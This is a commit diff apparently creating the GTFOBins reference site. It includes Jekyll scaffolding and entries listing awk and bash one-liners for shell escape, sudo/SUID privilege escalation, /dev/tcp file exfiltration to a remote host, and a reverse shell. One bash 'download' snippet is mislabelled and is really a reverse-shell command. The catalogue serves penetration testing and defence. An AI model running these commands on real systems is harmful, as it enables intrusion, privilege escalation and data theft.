Skip to content

Commit b81e570

Browse files
committed
First commit
0 parents  commit b81e570

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

57 files changed

+1082
-0
lines changed

.gitignore

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
/_tmp/
2+
/.sass-cache/
3+
/_site/

CONTRIBUTING.md

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
# Contributing
2+
3+
TODO link to website URL

Gemfile

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
source 'https://rubygems.org'
2+
3+
gem 'jekyll'

Gemfile.lock

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
GEM
2+
remote: https://rubygems.org/
3+
specs:
4+
addressable (2.5.2)
5+
public_suffix (>= 2.0.2, < 4.0)
6+
colorator (1.1.0)
7+
concurrent-ruby (1.0.5)
8+
em-websocket (0.5.1)
9+
eventmachine (>= 0.12.9)
10+
http_parser.rb (~> 0.6.0)
11+
eventmachine (1.2.7)
12+
ffi (1.9.23)
13+
forwardable-extended (2.6.0)
14+
http_parser.rb (0.6.0)
15+
i18n (0.9.5)
16+
concurrent-ruby (~> 1.0)
17+
jekyll (3.8.1)
18+
addressable (~> 2.4)
19+
colorator (~> 1.0)
20+
em-websocket (~> 0.5)
21+
i18n (~> 0.7)
22+
jekyll-sass-converter (~> 1.0)
23+
jekyll-watch (~> 2.0)
24+
kramdown (~> 1.14)
25+
liquid (~> 4.0)
26+
mercenary (~> 0.3.3)
27+
pathutil (~> 0.9)
28+
rouge (>= 1.7, < 4)
29+
safe_yaml (~> 1.0)
30+
jekyll-sass-converter (1.5.2)
31+
sass (~> 3.4)
32+
jekyll-watch (2.0.0)
33+
listen (~> 3.0)
34+
kramdown (1.16.2)
35+
liquid (4.0.0)
36+
listen (3.1.5)
37+
rb-fsevent (~> 0.9, >= 0.9.4)
38+
rb-inotify (~> 0.9, >= 0.9.7)
39+
ruby_dep (~> 1.2)
40+
mercenary (0.3.6)
41+
pathutil (0.16.1)
42+
forwardable-extended (~> 2.6)
43+
public_suffix (3.0.2)
44+
rb-fsevent (0.10.3)
45+
rb-inotify (0.9.10)
46+
ffi (>= 0.5.0, < 2)
47+
rouge (3.1.1)
48+
ruby_dep (1.5.0)
49+
safe_yaml (1.0.4)
50+
sass (3.5.6)
51+
sass-listen (~> 4.0.0)
52+
sass-listen (4.0.0)
53+
rb-fsevent (~> 0.9, >= 0.9.4)
54+
rb-inotify (~> 0.9, >= 0.9.7)
55+
56+
PLATFORMS
57+
ruby
58+
59+
DEPENDENCIES
60+
jekyll
61+
62+
BUNDLED WITH
63+
1.16.1

Makefile

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
.PHONY: serve bundle
2+
3+
serve:
4+
bundle exec jekyll serve
5+
6+
serve-public:
7+
bundle exec jekyll serve --host 0.0.0.0
8+
9+
bundle:
10+
bundle install

README.md

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
# GTFOBins
2+
3+
TODO link to website URL

_config.yml

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
title: GTFOBins
2+
3+
exclude: ['/Gemfile', '/Makefile', '/README.md', '/CONTRIBUTING.md']
4+
5+
permalink: pretty
6+
7+
collections:
8+
gtfobins:
9+
output: true
10+
11+
defaults:
12+
- scope:
13+
path: '_gtfobins'
14+
values:
15+
layout: bin

_data/functions.yml

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
exec-interactive:
2+
label: Interactive
3+
description: It executes interactive commands that may be exploited to break out from restricted shells.
4+
5+
exec-non-interactive:
6+
label: Non-interactive
7+
description: It executes non-interactive commands that may be exploited to break out from restricted shells.
8+
9+
suid-enabled:
10+
label: SUID
11+
description: It runs with the SUID bit set and may be exploited to escalate or maintain the privileges working as a SUID backdoor.
12+
13+
suid-limited:
14+
label: Limited SUID
15+
description: It runs with the SUID bit set and may be exploited to escalate or maintain the privileges working as a SUID backdoor. Its functioning depends on the default operating systems system shell and tipically works only on Debian Linux.
16+
17+
sudo-enabled:
18+
label: Sudo
19+
description: It runs in privileged contexts and may be used to escalate or maintain privileges if enabled on `sudo`.
20+
21+
download:
22+
label: Download
23+
description: It can download remote files.
24+
25+
upload:
26+
label: Upload
27+
description: It can exfiltrate files on the network.
28+
29+
bind-shell:
30+
label: Bind shell
31+
description: It can bind a shell to a local port to allow remote network access.
32+
33+
reverse-shell:
34+
label: Reverse shell
35+
description: It can send back a reverse shell to a listening attacker to open a remote network access.
36+
37+
load-library:
38+
label: Library load
39+
description: It loads shared libraries that may be used to run code in the binary execution context.

_gtfobins/awk.md

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
---
2+
functions:
3+
exec-interactive:
4+
- code: awk 'BEGIN {system("/bin/sh")}'
5+
sudo-enabled:
6+
- code: sudo awk 'BEGIN {system("/bin/sh -p")}'
7+
suid-limited:
8+
- code: ./awk 'BEGIN {system("/bin/sh -p")}'
9+
---

_gtfobins/bash.md

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
---
2+
functions:
3+
exec-interactive:
4+
- code: bash
5+
sudo-enabled:
6+
- code: sudo bash
7+
suid-enabled:
8+
- code: ./bash -p
9+
upload:
10+
- description: Send local file in the body of an HTTP POST request.
11+
code: |
12+
RHOST=10.0.0.1
13+
RPORT=8000
14+
LFILE=file_to_send
15+
echo -e "POST / HTTP/0.9\n\n$(cat $LFILE)" > /dev/tcp/$RHOST/$RPORT
16+
- description: Send local file using a TCP connection.
17+
code: |
18+
RHOST=10.0.0.1
19+
RPORT=8000
20+
LFILE=file_to_send
21+
cat $LFILE > /dev/tcp/$RHOST/$RPORT
22+
download:
23+
- description: Fetch a remote file via HTTP GET request.
24+
code: |
25+
RHOST=10.0.0.1
26+
RPORT=8000
27+
LFILE=file_to_get
28+
(echo -e "GET /$LFILE HTTP/0.9\r\n\r\n" 1>&3 & cat 0<&3) 3<>/dev/tcp/$RHOST/$RPORT | (read i; while [ "$(echo $i | tr -d '\r')" != "" ]; do read i; done; cat) > $LFILE
29+
- description: Fetch remote file using a TCP connection.
30+
code: |-
31+
RHOST=10.0.0.1
32+
RPORT=8000
33+
LFILE=file_to_get
34+
bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1 > $LFILE
35+
reverse-shell:
36+
- code: |
37+
RHOST=127.0.0.1
38+
RPORT=8000
39+
exec 5<&-;exec 5<>/dev/tcp/$RHOST/$RPORT;while read line 0<&5; do $line 2>&5 >&5; done
40+
---

0 commit comments

Comments
 (0)